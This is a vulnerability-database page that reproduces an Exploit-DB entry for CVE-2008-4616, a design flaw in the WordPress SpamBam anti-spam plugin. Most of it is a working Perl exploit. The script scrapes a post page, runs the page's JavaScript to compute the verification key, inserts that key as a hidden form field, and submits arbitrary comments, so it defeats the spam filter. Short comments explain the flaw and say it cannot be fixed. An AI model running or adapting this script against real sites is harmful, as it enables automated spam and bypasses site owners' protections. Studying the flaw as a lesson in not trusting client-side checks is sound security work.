Lucene search
+L

WordPress Plugin SpamBam - Key Calculation Security Bypass

🗓️ 15 Jan 2007 00:00:00Reported by RomeroType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 39 Views

WordPress Plugin SpamBam - Security Bypass via Client Dat

Related
Code
ReporterTitlePublishedViews
Family
attackerkb
ATTACKERKB
CVE-2008-4616
20 Oct 200818:14
attackerkb
cve
CVE
CVE-2008-4616
20 Oct 200818:00
cve
cvelist
Cvelist
CVE-2008-4616
20 Oct 200818:00
cvelist
euvd
EUVD
EUVD-2008-4596
7 Oct 202500:30
euvd
nvd
NVD
CVE-2008-4616
20 Oct 200818:14
nvd
patchstack
Patchstack
WordPress SpamBam Plugin - BYPASS
20 Oct 200800:00
patchstack
prion
Prion
Design/Logic Flaw
20 Oct 200818:14
prion
wpvulndb
WPVulnDB
Spambam <= 2.1 - Authorisation Bypass
15 Jan 200800:00
wpvulndb
source: https://www.securityfocus.com/bid/27291/info

SpamBam is prone to a security-bypass vulnerability because client-accessible data can be used to calculate verification keys.

Attackers can exploit this issue to submit arbitrary form data via automated scripts and distribute spam.

#!/usr/bin/perl -w

# Defeating SpamBam exploit
# by Jose Palazon ([email protected]) (a.k.a. palako)

# Vulnerable software:
# SpamBam (http://wordpress.org/extend/plugins/spambam/) by Gareth Heyes

# Vulnerability:
# No matter how hard you ofuscate or encrypt your code, never, under no
circunstances, rely
# any security aspect on the client. Never!

# How the plugin works:
# It generates a pseudo-random code both on the client and the server to
generate a key.
# On form submit, both key values are checked and they should match to
allow comment insertion.

#How the exploit works:
# It does nothing but acting as a client. It parses the html, extracts
the javascript, process it
# to calculate the key and fills the hidden field with it.

# Solution:
# Sorry guys but there's no fix for this. It'ss just a design flaw.

use WWW::Mechanize;
use JavaScript::SpiderMonkey;

my $tmpContent;
my $javascriptCode;
my $spamBamKey;

die ("Usage: spambam.pl <post url> <author> <email> <comment>\n") unless
$ARGV[3];

my $url = $ARGV[0];
my $author = $ARGV[1];
my $email = $ARGV[2];
my $comment = $ARGV[3];

my $mech = WWW::Mechanize->new( autocheck => 1 );

$mech->get($url);

# WWW::Mechanize doesn't support javascript, so the field
comment_spambamKey won't be
# recognized by $mech->field. Thus, I'll make an update_html adding the
field, and for
# this purpose I save first the original contents. Indeed, substitition
occurs via the
# javascript callback function "extractKey"
$tmpContent = $mech->content;


# Eliminate carriage returns to apply sed. Later I'll have to restore
them
# to execute the javascript code, as not every line is semicolon
terminated.
# That's the reason of the __WHO_BAMS_WHO__ string.
$_ = $mech->content;
s/\n/__WHO_BAMS_WHO__/g;

# Extract the javascript code and the name of the variable where the key
is going to be calculated
/<script type="text\/javascript">(.*)document\.write\('<input
type="hidden" name="comment_spambamKey" value="'\+(.*)\+'">'\);/g;
$javascriptCode = $1;
$spamBamKey = $2;

# Add the javascript instruction  which will comunicate the key to the
perl code.
$javascriptCode .= "\nextractKey($spamBamKey);";

my $js = JavaScript::SpiderMonkey->new();
$js->init();  # Initialize Runtime/Context

# Define perl callback for extracting the key from the javascript code
$js->function_set("extractKey", sub { $tmpContent =~ s/<\/form>/<input
type=\"hidden\" name=\"comment_spambamKey\" value=\"@_\"><\/form>/; });

# Restore Carriage returns and execute javascript code
$javascriptCode =~ s/__WHO_BAMS_WHO__/\n/g;
my $rc = $js->eval($javascriptCode);
$js->destroy();

# Process form
$mech->update_html( $tmpContent );
$mech->form_number(1);
$mech->field("author", $author);
$mech->field("email", $email);
$mech->field("comment", $comment);
$mech->submit();

printf("Check it. Comment should have been added\n");

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

19 Jan 2014 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 25
EPSS0.07289
39